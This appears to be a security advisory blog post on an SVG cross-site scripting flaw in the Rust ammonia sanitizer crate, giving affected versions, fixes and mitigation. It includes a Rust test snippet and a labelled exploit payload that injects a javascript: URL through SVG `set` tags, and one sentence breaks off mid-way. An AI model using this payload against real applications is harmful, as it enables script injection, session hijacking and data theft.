Listen to this Post
The ammonia crate is a popular HTML sanitization library written in Rust. It is designed to remove potentially dangerous HTML content while allowing safe markup. The vulnerability arises from improper neutralization of input during web page generation, specifically within the handling of SVG animation elements. When the `animate` and `set` tags are enabled in the sanitizer configuration, ammonia fails to apply attribute filters based on the `attributeName` property. This means that the contents of the to, from, and `values` attributes of these tags are not sanitized as URLs. An attacker can craft an SVG containing a `
DailyCVE Form:
Platform: Rust ammonia crate
Version: multiple affected ranges
Vulnerability: SVG XSS
Severity: Moderate
date: 2026-07-21
Prediction: Patched 2026-09-29
What Undercode Say:
Check dependency:
cargo tree -i ammonia
Verify version:
cargo metadata --format-version 1 | grep ammonia
Test sanitization:
use ammonia::Builder;
let input = r"<svg><a><set attributeName="href" to="javascript:alert(1)"></set><text>Click</text></a></svg>";
let output = Builder::default().add_tags(&["svg", "a", "set", "text"]).clean(input).to_string();
println!("{}", output);
Exploit: (Educational Purposes!)
<svg xmlns="http://www.w3.org/2000/svg">
<a>
<set attributeName="href" to="javascript:alert('SET_XSS')"></set>
<text y="30">Click set</text>
</a>
</svg>
Protection:
Update to ammonia 3.3.3, 4.0.3, or 4.1.4. Disable `animate` and `set` tags if not required. Validate all SVG attributes that accept URLs.
Impact:
Stored XSS in applications allowing `animate` or `set` tags. Session hijacking, data theft, and arbitrary JavaScript execution in the victim’s browser.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
